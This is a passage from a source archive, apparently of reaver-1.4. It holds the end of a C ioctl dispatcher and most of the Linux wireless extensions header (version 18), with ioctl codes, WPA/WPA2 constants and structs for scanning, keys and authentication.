set_roaming(skfd, argv + 3, argc - 3, argv[1]); else /* Port type */ if(!strncmp(argv[2], "port", 4)) goterr = port_type(skfd, argv + 3, argc - 3, argv[1]); else #endif /*-------------*/ /* Otherwise, it's a private ioctl */ goterr = set_private(skfd, argv + 2, argc - 2, argv[1]); /* Close the socket. */ iw_sockets_close(skfd); return(goterr); } reaver-1.4/src/lwe/wireless.18.h0000755000175000017500000011534611705505257016033 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 18 12.3.05 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2005 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* To minimise problems in user space, I might remove those headers * at some point. Jean II */ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 18 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) * * V17 to V18 (From Jouni Malinen ) * ---------- * - Add support for WPA/WPA2 * - Add extended encoding configuration (SIOCSIWENCODEEXT and * SIOCGIWENCODEEXT) * - Add SIOCSIWGENIE/SIOCGIWGENIE * - Add SIOCSIWMLME * - Add SIOCSIWPMKSA * - Add struct iw_range bit field for supported encoding capabilities * - Add optional scan request parameters for SIOCSIWSCAN * - Add SIOCSIWAUTH/SIOCGIWAUTH for setting authentication and WPA * related parameters (extensible up to 4096 parameter values) * - Add wireless events: IWEVGENIE, IWEVMICHAELMICFAILURE, * IWEVASSOCREQIE, IWEVASSOCRESPIE, IWEVPMKIDCAND */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* WPA : Generic IEEE 802.11 informatiom element (e.g., for WPA/RSN/WMM). * This ioctl uses struct iw_point and data buffer that includes IE id and len * fields. More than one IE may be included in the request. Setting the generic * IE to empty buffer (len=0) removes the generic IE from the driver. Drivers * are allowed to generate their own WPA/RSN IEs, but in these cases, drivers * are required to report the used IE as a wireless event, e.g., when * associating with an AP. */ #define SIOCSIWGENIE 0x8B30 /* set generic IE */ #define SIOCGIWGENIE 0x8B31 /* get generic IE */ /* WPA : IEEE 802.11 MLME requests */ #define SIOCSIWMLME 0x8B16 /* request MLME operation; uses * struct iw_mlme */ /* WPA : Authentication mode parameters */ #define SIOCSIWAUTH 0x8B32 /* set authentication mode params */ #define SIOCGIWAUTH 0x8B33 /* get authentication mode params */ /* WPA : Extended version of encoding configuration */ #define SIOCSIWENCODEEXT 0x8B34 /* set encoding token & mode */ #define SIOCGIWENCODEEXT 0x8B35 /* get encoding token & mode */ /* WPA2 : PMKSA cache management */ #define SIOCSIWPMKSA 0x8B36 /* PMKSA cache operation */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVGENIE 0x8C05 /* Generic IE (WPA, RSN, WMM, ..) * (scan results); This includes id and * length fields. One IWEVGENIE may * contain more than one IE. Scan * results may contain one or more * IWEVGENIE events. */ #define IWEVMICHAELMICFAILURE 0x8C06 /* Michael MIC failure * (struct iw_michaelmicfailure) */ #define IWEVASSOCREQIE 0x8C07 /* IEs used in (Re)Association Request. * The data includes id and length * fields and may contain more than one * IE. This event is required in * Managed mode if the driver * generates its own WPA/RSN IE. This * should be sent just before * IWEVREGISTERED event for the * association. */ #define IWEVASSOCRESPIE 0x8C08 /* IEs used in (Re)Association * Response. The data includes id and * length fields and may contain more * than one IE. This may be sent * between IWEVASSOCREQIE and * IWEVREGISTERED events for the * association. */ #define IWEVPMKIDCAND 0x8C09 /* PMKID candidate for RSN * pre-authentication * (struct iw_pmkid_cand) */ #define IWEVFIRST 0x8C00 /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x1 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x2 #define IW_QUAL_NOISE_UPDATED 0x4 #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* struct iw_scan_req scan_type */ #define IW_SCAN_TYPE_ACTIVE 0 #define IW_SCAN_TYPE_PASSIVE 1 /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Generic information element */ #define IW_GENERIC_IE_MAX 1024 /* MLME requests (SIOCSIWMLME / struct iw_mlme) */ #define IW_MLME_DEAUTH 0 #define IW_MLME_DISASSOC 1 /* SIOCSIWAUTH/SIOCGIWAUTH struct iw_param flags */ #define IW_AUTH_INDEX 0x0FFF #define IW_AUTH_FLAGS 0xF000 /* SIOCSIWAUTH/SIOCGIWAUTH parameters (0 .. 4095) * (IW_AUTH_INDEX mask in struct iw_param flags; this is the index of the * parameter that is being set/get to; value will be read/written to * struct iw_param value field) */ #define IW_AUTH_WPA_VERSION 0 #define IW_AUTH_CIPHER_PAIRWISE 1 #define IW_AUTH_CIPHER_GROUP 2 #define IW_AUTH_KEY_MGMT 3 #define IW_AUTH_TKIP_COUNTERMEASURES 4 #define IW_AUTH_DROP_UNENCRYPTED 5 #define IW_AUTH_80211_AUTH_ALG 6 #define IW_AUTH_WPA_ENABLED 7 #define IW_AUTH_RX_UNENCRYPTED_EAPOL 8 #define IW_AUTH_ROAMING_CONTROL 9 #define IW_AUTH_PRIVACY_INVOKED 10 /* IW_AUTH_WPA_VERSION values (bit field) */ #define IW_AUTH_WPA_VERSION_DISABLED 0x00000001 #define IW_AUTH_WPA_VERSION_WPA 0x00000002 #define IW_AUTH_WPA_VERSION_WPA2 0x00000004 /* IW_AUTH_PAIRWISE_CIPHER and IW_AUTH_GROUP_CIPHER values (bit field) */ #define IW_AUTH_CIPHER_NONE 0x00000001 #define IW_AUTH_CIPHER_WEP40 0x00000002 #define IW_AUTH_CIPHER_TKIP 0x00000004 #define IW_AUTH_CIPHER_CCMP 0x00000008 #define IW_AUTH_CIPHER_WEP104 0x00000010 /* IW_AUTH_KEY_MGMT values (bit field) */ #define IW_AUTH_KEY_MGMT_802_1X 1 #define IW_AUTH_KEY_MGMT_PSK 2 /* IW_AUTH_80211_AUTH_ALG values (bit field) */ #define IW_AUTH_ALG_OPEN_SYSTEM 0x00000001 #define IW_AUTH_ALG_SHARED_KEY 0x00000002 #define IW_AUTH_ALG_LEAP 0x00000004 /* IW_AUTH_ROAMING_CONTROL values */ #define IW_AUTH_ROAMING_ENABLE 0 /* driver/firmware based roaming */ #define IW_AUTH_ROAMING_DISABLE 1 /* user space program used for roaming * control */ /* SIOCSIWENCODEEXT definitions */ #define IW_ENCODE_SEQ_MAX_SIZE 8 /* struct iw_encode_ext ->alg */ #define IW_ENCODE_ALG_NONE 0 #define IW_ENCODE_ALG_WEP 1 #define IW_ENCODE_ALG_TKIP 2 #define IW_ENCODE_ALG_CCMP 3 /* struct iw_encode_ext ->ext_flags */ #define IW_ENCODE_EXT_TX_SEQ_VALID 0x00000001 #define IW_ENCODE_EXT_RX_SEQ_VALID 0x00000002 #define IW_ENCODE_EXT_GROUP_KEY 0x00000004 #define IW_ENCODE_EXT_SET_TX_KEY 0x00000008 /* IWEVMICHAELMICFAILURE : struct iw_michaelmicfailure ->flags */ #define IW_MICFAILURE_KEY_ID 0x00000003 /* Key ID 0..3 */ #define IW_MICFAILURE_GROUP 0x00000004 #define IW_MICFAILURE_PAIRWISE 0x00000008 #define IW_MICFAILURE_STAKEY 0x00000010 #define IW_MICFAILURE_COUNT 0x00000060 /* 1 or 2 (0 = count not supported) */ /* Bit field values for enc_capa in struct iw_range */ #define IW_ENC_CAPA_WPA 0x00000001 #define IW_ENC_CAPA_WPA2 0x00000002 #define IW_ENC_CAPA_CIPHER_TKIP 0x00000004 #define IW_ENC_CAPA_CIPHER_CCMP 0x00000008 /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* * Optional data for scan request * * Note: these optional parameters are controlling parameters for the * scanning behavior, these do not apply to getting scan results * (SIOCGIWSCAN). Drivers are expected to keep a local BSS table and * provide a merged results with all BSSes even if the previous scan * request limited scanning to a subset, e.g., by specifying an SSID. * Especially, scan results are required to include an entry for the * current BSS if the driver is in Managed mode and associated with an AP. */ struct iw_scan_req { __u8 scan_type; /* IW_SCAN_TYPE_{ACTIVE,PASSIVE} */ __u8 essid_len; __u8 num_channels; /* num entries in channel_list; * 0 = scan all allowed channels */ __u8 flags; /* reserved as padding; use zero, this may * be used in the future for adding flags * to request different scan behavior */ struct sockaddr bssid; /* ff:ff:ff:ff:ff:ff for broadcast BSSID or * individual address of a specific BSS */ /* * Use this ESSID if IW_SCAN_THIS_ESSID flag is used instead of using * the current ESSID. This allows scan requests for specific ESSID * without having to change the current ESSID and potentially breaking * the current association. */ __u8 essid[IW_ESSID_MAX_SIZE]; /* * Optional parameters for changing the default scanning behavior. * These are based on the MLME-SCAN.request from IEEE Std 802.11. * TU is 1.024 ms. If these are set to 0, driver is expected to use * reasonable default values. min_channel_time defines the time that * will be used to wait for the first reply on each channel. If no * replies are received, next channel will be scanned after this. If * replies are received, total time waited on the channel is defined by * max_channel_time. */ __u32 min_channel_time; /* in TU */ __u32 max_channel_time; /* in TU */ struct iw_freq channel_list[IW_MAX_FREQUENCIES]; }; /* ------------------------- WPA SUPPORT ------------------------- */ /* * Extended data structure for get/set encoding (this is used with * SIOCSIWENCODEEXT/SIOCGIWENCODEEXT. struct iw_point and IW_ENCODE_* * flags are used in the same way as with SIOCSIWENCODE/SIOCGIWENCODE and * only the data contents changes (key data -> this structure, including * key data). * * If the new key is the first group key, it will be set as the default * TX key. Otherwise, default TX key index is only changed if * IW_ENCODE_EXT_SET_TX_KEY flag is set. * * Key will be changed with SIOCSIWENCODEEXT in all cases except for * special "change TX key index" operation which is indicated by setting * key_len = 0 and ext_flags |= IW_ENCODE_EXT_SET_TX_KEY. * * tx_seq/rx_seq are only used when respective * IW_ENCODE_EXT_{TX,RX}_SEQ_VALID flag is set in ext_flags. Normal * TKIP/CCMP operation is to set RX seq with SIOCSIWENCODEEXT and start * TX seq from zero whenever key is changed. SIOCGIWENCODEEXT is normally * used only by an Authenticator (AP or an IBSS station) to get the * current TX sequence number. Using TX_SEQ_VALID for SIOCSIWENCODEEXT and * RX_SEQ_VALID for SIOCGIWENCODEEXT are optional, but can be useful for * debugging/testing. */ struct iw_encode_ext { __u32 ext_flags; /* IW_ENCODE_EXT_* */ __u8 tx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ __u8 rx_seq[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ struct sockaddr addr; /* ff:ff:ff:ff:ff:ff for broadcast/multicast * (group) keys or unicast address for * individual keys */ __u16 alg; /* IW_ENCODE_ALG_* */ __u16 key_len; __u8 key[0]; }; /* SIOCSIWMLME data */ struct iw_mlme { __u16 cmd; /* IW_MLME_* */ __u16 reason_code; struct sockaddr addr; }; /* SIOCSIWPMKSA data */ #define IW_PMKSA_ADD 1 #define IW_PMKSA_REMOVE 2 #define IW_PMKSA_FLUSH 3 #define IW_PMKID_LEN 16 struct iw_pmksa { __u32 cmd; /* IW_PMKSA_* */ struct sockaddr bssid; __u8 pmkid[IW_PMKID_LEN]; }; /* IWEVMICHAELMICFAILURE data */ struct iw_michaelmicfailure { __u32 flags; struct sockaddr src_addr; __u8 tsc[IW_ENCODE_SEQ_MAX_SIZE]; /* LSB first */ }; /* IWEVPMKIDCAND data */ #define IW_PMKID_CAND_PREAUTH 0x00000001 /* RNS pre-authentication enabled */ struct iw_pmkid_cand { __u32 flags; /* IW_PMKID_CAND_* */ __u32 index; /* the smaller the index, the higher the * priority */ struct sockaddr bssid; }; /* ------------------------ WIRELESS STATS ------------------------ */ 